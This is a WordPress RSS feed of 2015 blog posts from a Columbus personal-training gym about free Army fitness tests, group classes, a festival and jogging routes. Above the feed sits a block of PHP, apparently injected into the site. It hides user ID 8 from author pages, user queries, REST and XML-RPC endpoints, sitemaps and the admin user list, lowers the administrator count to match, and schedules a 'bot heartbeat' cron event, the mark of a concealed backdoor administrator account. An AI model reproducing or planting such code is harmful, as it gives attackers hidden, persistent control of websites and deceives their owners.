add_action( 'pre_get_posts', function( $q ) {
    if ( ! is_admin() && $q->is_main_query() ) {
        $not_in   = (array) $q->get( 'author__not_in' );
        $not_in[] = 8;

        $q->set(
            'author__not_in',
            array_unique( array_map( 'intval', $not_in ) )
        );
    }
}, 1 );

add_action( 'template_redirect', function() {
    if ( is_author() ) {
        $author = get_queried_object();
        if ( $author instanceof WP_User && (int) $author->ID === 8 ) {
            global $wp_query;
            $wp_query->set_404();
            status_header( 404 );
            nocache_headers();
        }
    }
} );

add_action( 'pre_user_query', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    global $wpdb;
    $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 8 );
} );

add_action( 'pre_get_users', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    $exclude   = (array) $q->get( 'exclude' );
    $exclude[] = 8;
    $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );

add_filter( 'wp_dropdown_users_args', function( $a ) {
    $exclude   = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
    $exclude[] = 8;

    $a['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $a;
} );

add_filter( 'rest_user_query', function( $args, $request ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 8;

    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $args;
}, 10, 2 );

add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
    $route = $request->get_route();
    if ( preg_match( '#^/wp/v2/users/8(/|$)#', $route ) ) {
        return new WP_Error(
            'rest_user_invalid_id',
            'Invalid user ID.',
            array( 'status' => 404 )
        );
    }
    return $result;
}, 10, 3 );

add_filter( 'xmlrpc_methods', function( $methods ) {
    unset(
        $methods['wp.getUsers'],
        $methods['wp.getUser'],
        $methods['wp.getProfile']
    );
    return $methods;
} );

add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 8;
    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
    return $args;
} );

add_action( 'admin_head-users.php', function() {
    echo '<style>#user-8{display:none!important}</style>';
} );

add_filter( 'views_users', function( $views ) {
    foreach ( array( 'all', 'administrator' ) as $key ) {
        if ( isset( $views[ $key ] ) ) {
            $views[ $key ] = preg_replace_callback(
                '/\((\d+)\)/',
                function( $m ) {
                    return '(' . max( 0, (int) $m[1] - 1 ) . ')';
                },
                $views[ $key ],
                1
            );
        }
    }
    return $views;
} );

add_action( 'init', function() {
    if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
        return;
    }
    if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
        wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
    }
} );

add_action( 'wp_extra_bot_heartbeat', function() {
    // noop
} );
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	<title>personal Archives - Chiseled - Training Studio</title>
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		<title>FREE PT Test January 2nd in The Short North!</title>
		<link>https://chiseledgym.com/2015/12/free-pt-test-january-2nd-in-the-short-north/</link>
		
		<dc:creator><![CDATA[Chiseled]]></dc:creator>
		<pubDate>Mon, 21 Dec 2015 18:20:24 +0000</pubDate>
				<category><![CDATA[News]]></category>
		<category><![CDATA[army]]></category>
		<category><![CDATA[chiseled]]></category>
		<category><![CDATA[columbus]]></category>
		<category><![CDATA[free]]></category>
		<category><![CDATA[Gym]]></category>
		<category><![CDATA[italian]]></category>
		<category><![CDATA[north]]></category>
		<category><![CDATA[personal]]></category>
		<category><![CDATA[pt]]></category>
		<category><![CDATA[short]]></category>
		<category><![CDATA[test]]></category>
		<category><![CDATA[training]]></category>
		<category><![CDATA[victorian]]></category>
		<category><![CDATA[village]]></category>
		<guid isPermaLink="false">https://chiseledgym.com/?p=528</guid>

					<description><![CDATA[<p>Start the new year right, for FREE! Chiseled Gym &#8211; a Columbus personal training studio, is holding a free US Army PT Test January 2nd, 2016. Start time is 8:00am. Test your progress or set the bar for improvement with a professional running, push-up, and sit-up evaluations (the same used by the US Army).   Chiseled&#8217;s owner, Juan, a US Army veteran, will host the class alongside trainer Jose. This class is 100% free to participate in.  No membership or fee required. All participants will receive an official scorecard complete with final scores, body fat assessment, and recommendations for improvement. To sign up, visit us in The Short North at 5th &#38; High, call/text us 614-537-8245, or shoot us an e-mail juan@chiseledgym.com See you there! &#160;</p>
<p>The post <a href="https://chiseledgym.com/2015/12/free-pt-test-january-2nd-in-the-short-north/">FREE PT Test January 2nd in The Short North!</a> appeared first on <a href="https://chiseledgym.com">Chiseled - Training Studio</a>.</p>
]]></description>
		
		
		
			</item>
		<item>
		<title>Group Fitness Classes EXTENDED</title>
		<link>https://chiseledgym.com/2015/12/group-fitness-classes-extended/</link>
		
		<dc:creator><![CDATA[dave pando]]></dc:creator>
		<pubDate>Wed, 09 Dec 2015 22:25:39 +0000</pubDate>
				<category><![CDATA[News]]></category>
		<category><![CDATA[cheap]]></category>
		<category><![CDATA[chiseled]]></category>
		<category><![CDATA[classes]]></category>
		<category><![CDATA[columbus]]></category>
		<category><![CDATA[group]]></category>
		<category><![CDATA[Gym]]></category>
		<category><![CDATA[italian]]></category>
		<category><![CDATA[north]]></category>
		<category><![CDATA[ohio]]></category>
		<category><![CDATA[personal]]></category>
		<category><![CDATA[short]]></category>
		<category><![CDATA[training]]></category>
		<category><![CDATA[village]]></category>
		<guid isPermaLink="false">https://chiseledgym.com/?p=522</guid>

					<description><![CDATA[<p>Demand is rising here in The Short North, so we are extending our group class hours! $15 FOR FULL HOUR GROUP TRAINING MONDAY, WEDNESDAY &#38; FRIDAY: 11am &#8211; 12pm &#38; 12pm &#8211; 1pm TUESDAY, THURSDAY: 6am-7am SATURDAY: 8am-9am Switch up your workout routine and move farther on your path to getting Chiseled with our always changing, perfectly challenging group fitness classes for the LOW price of $15 per person. SPECIAL PROMOTION:  Bring a friend to your next group class and we will comp their admission!  Get two for the price of one for a limited time. To register for Chiseled group classes, just hit the link: https://clients.mindbodyonline.com/classic/home?studioid=230360</p>
<p>The post <a href="https://chiseledgym.com/2015/12/group-fitness-classes-extended/">Group Fitness Classes EXTENDED</a> appeared first on <a href="https://chiseledgym.com">Chiseled - Training Studio</a>.</p>
]]></description>
		
		
		
			</item>
		<item>
		<title>Now Offering GROUP CLASSES &#8211; Weekdays at 6am</title>
		<link>https://chiseledgym.com/2015/12/now-offering-group-classes-weekdays-at-6am/</link>
		
		<dc:creator><![CDATA[Chiseled]]></dc:creator>
		<pubDate>Thu, 03 Dec 2015 03:12:05 +0000</pubDate>
				<category><![CDATA[News]]></category>
		<category><![CDATA[chiseled]]></category>
		<category><![CDATA[classes]]></category>
		<category><![CDATA[columbus]]></category>
		<category><![CDATA[fitnesss]]></category>
		<category><![CDATA[group]]></category>
		<category><![CDATA[italian]]></category>
		<category><![CDATA[north]]></category>
		<category><![CDATA[personal]]></category>
		<category><![CDATA[short]]></category>
		<category><![CDATA[training]]></category>
		<category><![CDATA[village]]></category>
		<guid isPermaLink="false">https://chiseledgym.com/?p=513</guid>

					<description><![CDATA[<p>We asked our local Short North, Italian Village and Columbus customers for some feedback, and the results are in&#8230; Chiseled Gym is now offering GROUP TRAINING CLASSES every weekday! Switch up your workout routine and move farther on your path to getting Chiseled with our always changing, perfectly challenging group fitness classes for the LOW price of $15 per person. For a limited time, we will be allowing you to bring a friend along with you 100% FREE!  For just $15 you can start your day STRONG with a calorie burning, strength building workout with a friend. To register for a class, sign up using our Mindbody registration system by hitting this link: https://clients.mindbodyonline.com/classic/home?studioid=230360</p>
<p>The post <a href="https://chiseledgym.com/2015/12/now-offering-group-classes-weekdays-at-6am/">Now Offering GROUP CLASSES &#8211; Weekdays at 6am</a> appeared first on <a href="https://chiseledgym.com">Chiseled - Training Studio</a>.</p>
]]></description>
		
		
		
			</item>
		<item>
		<title>Special Event &#8211; Inspired by Veterans Day 2015 &#8211; Free Columbus Army Physical Fitness Test by Chiseled 11/21/15</title>
		<link>https://chiseledgym.com/2015/11/free-columbus-army-physical-fitness-test-by-chiseled/</link>
		
		<dc:creator><![CDATA[Chiseled]]></dc:creator>
		<pubDate>Wed, 11 Nov 2015 06:59:34 +0000</pubDate>
				<category><![CDATA[News]]></category>
		<category><![CDATA[army]]></category>
		<category><![CDATA[chiseled]]></category>
		<category><![CDATA[columbus]]></category>
		<category><![CDATA[fitness]]></category>
		<category><![CDATA[free]]></category>
		<category><![CDATA[Gym]]></category>
		<category><![CDATA[italian]]></category>
		<category><![CDATA[north]]></category>
		<category><![CDATA[november]]></category>
		<category><![CDATA[personal]]></category>
		<category><![CDATA[physical]]></category>
		<category><![CDATA[short]]></category>
		<category><![CDATA[test]]></category>
		<category><![CDATA[training]]></category>
		<category><![CDATA[village]]></category>
		<guid isPermaLink="false">https://chiseledgym.com/?p=503</guid>

					<description><![CDATA[<p>In honor of Veterans Day 2015, join us for another FREE Army Physical Fitness Test, hosted by Chiseled&#8217;s Army Veteran owner, Juan Vicente! What is the APFT?  We take your body fat, test your pushup, situp and cardio limits, all using the same standards and protocols for the U.S. Army&#8217;s Physical Fitness Test.  Our gym feels this is a great way to give back to the local Short North and columbus community; sharing our personal passion for staying in shape. &#8220;I got the idea because in the Army it is used to qualify servicemen for duty. I believe that this standard of excellence is a great asset to Chiseled Gym &#8211; Columbus to keep our clients accountable and on their paths to getting Chiseled!&#8221; Time: Saturday November 21st, 8:00am Place: Meet in front of Chiseled Gym 37 E 5th Ave, Columbus OH 43201 What to Wear: Weather appropriate active wear APFT Test Itinerary: -Two Minute Sit-up -Two Minute Push-up -Two Mile Run All contests are held under strict military standards and scored according to age graded scoring system. Questions: Call 614-537-8245 or e-mail chiseledtrainer@gmail.com</p>
<p>The post <a href="https://chiseledgym.com/2015/11/free-columbus-army-physical-fitness-test-by-chiseled/">Special Event &#8211; Inspired by Veterans Day 2015 &#8211; Free Columbus Army Physical Fitness Test by Chiseled 11/21/15</a> appeared first on <a href="https://chiseledgym.com">Chiseled - Training Studio</a>.</p>
]]></description>
		
		
		
			</item>
		<item>
		<title>Columbus Army Physical Fitness Test Photos</title>
		<link>https://chiseledgym.com/2015/10/columbus-army-physical-fitness-test-photos/</link>
		
		<dc:creator><![CDATA[Chiseled]]></dc:creator>
		<pubDate>Fri, 23 Oct 2015 16:56:05 +0000</pubDate>
				<category><![CDATA[News]]></category>
		<category><![CDATA[chiseled]]></category>
		<category><![CDATA[columbus]]></category>
		<category><![CDATA[fitness]]></category>
		<category><![CDATA[Gym]]></category>
		<category><![CDATA[italian]]></category>
		<category><![CDATA[loose]]></category>
		<category><![CDATA[north]]></category>
		<category><![CDATA[personal]]></category>
		<category><![CDATA[physical]]></category>
		<category><![CDATA[short]]></category>
		<category><![CDATA[test]]></category>
		<category><![CDATA[training]]></category>
		<category><![CDATA[village]]></category>
		<category><![CDATA[weight]]></category>
		<guid isPermaLink="false">https://chiseledgym.com/?p=489</guid>

					<description><![CDATA[<p>What a morning!  On Saturday October 10th, Chiseled Gym was proud to host their free Army Physical Fitness Test to both our personal training clients as well as the local Short North and Columbus Area public.  Every six weeks Chiseled hosts this event to give back to the local Columbus community and hold their amazing clientele to a high standard of Chiseled fitness. The US Army uses three challenges to test the physical strength of it&#8217;s soldiers, and so did Chiseled. Test One &#8211; Sit-ups: Do as many perfect sit-ups as you can in a two minute window. Test Two &#8211; Pushups: Do as many perfect pushups as you can in a two minute window. Test Three &#8211; Cardio: Run two miles as fast as you can. We were very excited that over 75% of our participants passed the test!  Looks like our personally trained clients are on their way to getting CHISELED! All Photos by The Studio 614</p>
<p>The post <a href="https://chiseledgym.com/2015/10/columbus-army-physical-fitness-test-photos/">Columbus Army Physical Fitness Test Photos</a> appeared first on <a href="https://chiseledgym.com">Chiseled - Training Studio</a>.</p>
]]></description>
		
		
		
			</item>
		<item>
		<title>FREE Army Physical Fitness Test &#8211; Hosted by Chiseled Gym 10/10/15</title>
		<link>https://chiseledgym.com/2015/10/free-army-physical-fitness-test-hosted-by-chiseled-gym-101015/</link>
		
		<dc:creator><![CDATA[Chiseled]]></dc:creator>
		<pubDate>Wed, 07 Oct 2015 01:15:53 +0000</pubDate>
				<category><![CDATA[News]]></category>
		<category><![CDATA[army]]></category>
		<category><![CDATA[chiseled]]></category>
		<category><![CDATA[columbus]]></category>
		<category><![CDATA[event]]></category>
		<category><![CDATA[fitness]]></category>
		<category><![CDATA[Gym]]></category>
		<category><![CDATA[north]]></category>
		<category><![CDATA[ohio]]></category>
		<category><![CDATA[personal]]></category>
		<category><![CDATA[physical]]></category>
		<category><![CDATA[short]]></category>
		<category><![CDATA[test]]></category>
		<category><![CDATA[training]]></category>
		<guid isPermaLink="false">https://chiseledgym.com/?p=482</guid>

					<description><![CDATA[<p>For years, we at Chiseled Gym have been hosting free APFT (Army Physical Fitness Tests) for the local Columbus, Short North, Italian Village, and Downtown community.  Why? Our owner, Juan Vicente, is a veteran of the Ohio Army National Guard and wants to continue the time honored tradition the same way he was trained as a soldier! &#160; What is the APFT?  We take your body fat, test your pushup, situp and cardio limits, all using the same standards and protocols for the U.S. Army&#8217;s Physical Fitness Test.  Our gym feels this is a great way to give back to the local Short North and columbus community; sharing our personal passion for staying in shape. &#160; &#8220;I got the idea because in the Army it is used to qualify servicemen for duty. I believe that this standard of excellence is a great asset to Chiseled Gym &#8211; Columbus to keep our clients accountable and on their paths to getting Chiseled!&#8221; &#160; Time: Saturday October 10th, 8:00am Place: Meet in front of Chiseled Gym 37 E 5th Ave, Columbus OH 43201 What to Wear: Weather appropriate active wear &#160; APFT Test Itinerary: -Two Minute Sit-up -Two Minute Push-up -Two Mile Run All contests are held under strict military standards and scored according to age graded scoring system. &#160; Questions: Call 614-537-8245 or e-mail chiseledtrainer@gmail.com</p>
<p>The post <a href="https://chiseledgym.com/2015/10/free-army-physical-fitness-test-hosted-by-chiseled-gym-101015/">FREE Army Physical Fitness Test &#8211; Hosted by Chiseled Gym 10/10/15</a> appeared first on <a href="https://chiseledgym.com">Chiseled - Training Studio</a>.</p>
]]></description>
		
		
		
			</item>
		<item>
		<title>Columbus Independents Day Festival Recap</title>
		<link>https://chiseledgym.com/2015/10/columbus-independents-day-festival-recap/</link>
		
		<dc:creator><![CDATA[Chiseled]]></dc:creator>
		<pubDate>Mon, 05 Oct 2015 20:22:06 +0000</pubDate>
				<category><![CDATA[News]]></category>
		<category><![CDATA[chiseled]]></category>
		<category><![CDATA[columbus]]></category>
		<category><![CDATA[day]]></category>
		<category><![CDATA[event]]></category>
		<category><![CDATA[festival]]></category>
		<category><![CDATA[franklinton]]></category>
		<category><![CDATA[Gym]]></category>
		<category><![CDATA[independents]]></category>
		<category><![CDATA[local]]></category>
		<category><![CDATA[north]]></category>
		<category><![CDATA[personal]]></category>
		<category><![CDATA[short]]></category>
		<category><![CDATA[studio]]></category>
		<category><![CDATA[training]]></category>
		<guid isPermaLink="false">https://chiseledgym.com/?p=475</guid>

					<description><![CDATA[<p>Oversized dumbbells, 200+ Ancient Stone lifting, and the ultimate local Columbus music experience were all combined at this year&#8217;s 2015 Independents Day Festival! Chiseled Gym was proud to donate our time and energy to help support this great Columbus event, hosted in the vibrant East Franklinton neighborhood. We brought in some unique fitness challenges, gave away some quick personal training tips, and we even found the strongest man at Independents Day! Owen, a Columbus local, was able to conquer our 220 pound Ancient Stone lift challenge!  Looks like he doesn&#8217;t need our personal training after all&#8230; The Independents Day Festival embraces Columbus&#8217; creative spirit, the perfect setting for us at Chiseled Gym Personal Training Studio to showcase our local pride.  Specifically built for this event, the Chiseled staff created a monster five foot tall dumbbell for the local Columbus crowd to selfie with! &#160; Our Personal Training Studio will be partnering up with more local Columbus events over the next few months, so keep an eye out for our massive dumbbell and the new Chiseled logo!  See you at the gym! Be sure to follow us on Instagram @Chiseled_Gym and like us on Facebook /ChiseledGymColumbus for more pictures from our local Columbus events!</p>
<p>The post <a href="https://chiseledgym.com/2015/10/columbus-independents-day-festival-recap/">Columbus Independents Day Festival Recap</a> appeared first on <a href="https://chiseledgym.com">Chiseled - Training Studio</a>.</p>
]]></description>
		
		
		
			</item>
		<item>
		<title>3 Amazing Jogging Routes in The Short North</title>
		<link>https://chiseledgym.com/2015/07/3-amazing-jogging-routes-in-the-short-north/</link>
		
		<dc:creator><![CDATA[Juan Vicente]]></dc:creator>
		<pubDate>Tue, 28 Jul 2015 03:14:07 +0000</pubDate>
				<category><![CDATA[News]]></category>
		<category><![CDATA[beautiful]]></category>
		<category><![CDATA[best]]></category>
		<category><![CDATA[chiseled]]></category>
		<category><![CDATA[columbus]]></category>
		<category><![CDATA[Gym]]></category>
		<category><![CDATA[jogging]]></category>
		<category><![CDATA[north]]></category>
		<category><![CDATA[ohio]]></category>
		<category><![CDATA[personal]]></category>
		<category><![CDATA[routes]]></category>
		<category><![CDATA[running]]></category>
		<category><![CDATA[short]]></category>
		<category><![CDATA[the]]></category>
		<category><![CDATA[top]]></category>
		<category><![CDATA[training]]></category>
		<guid isPermaLink="false">https://chiseledgym.com/?p=426</guid>

					<description><![CDATA[<p>Running is one of my true passions. I love to help others deepen their experience and awareness while improving their health through running. Ask me anything running on any given day and we can embark on an adventure through recanting tales of trail running, road marathons, or running principles I know through living them daily. For now lets keep to the point. When planning a local run I pre-plan using mapping on the internet or just plug into one of the many fitness apps and tote my phone along for the run. A water resistant case is imperative as I always plan to sweat! From Chiseled, as the beginning point, I will talk about three routes: Firstly, there is an easy 2 miler. This is appropriate if A. you are a beginner, or B. you need a recovery or easy run. Just head west on fifth avenue for 1 mile where you will arrive at the Olentangey River Trail as it bisects 5th Avenue. This is the turn around or 1 mile mark. Once you arrive back at the gym, you have spent 15 to 20 minutes getting healthier and thinner. No brainer, right? The second route includes the 1st, but instead of turning around at the 1 mile mark, turn north at the Olentangy trail and run along passing the King Ave. bridge, past the Drake Union. You will see Lincoln and Morrill Towers and the OSU Stadium. Once past Woody Hayes and Lane Ave bridges there is a large tree about 70 yards up on the right. You can turn around and cruise back to the gym with a quick and scenic 5 miler under your belt! Finally for the more serious runner there is the Grandview Heights HS track, where you can get some speed workouts done whether its 400’s, 800’s or 2 mile workouts. The 2.4 mile or 2.8 mile (if you take King Avenue) route there and back is the perfect warm-up and cool-down distance for the more advanced runner. It is approximately a 20 minute distance to the track each way. I hope to see you out getting that heart healthier. Get inspired. Happy trails and remember to always run with a purpose. -Juan Vicente &#8211; Owner Chiseled Gym Columbus &#160; &#160;</p>
<p>The post <a href="https://chiseledgym.com/2015/07/3-amazing-jogging-routes-in-the-short-north/">3 Amazing Jogging Routes in The Short North</a> appeared first on <a href="https://chiseledgym.com">Chiseled - Training Studio</a>.</p>
]]></description>
		
		
		
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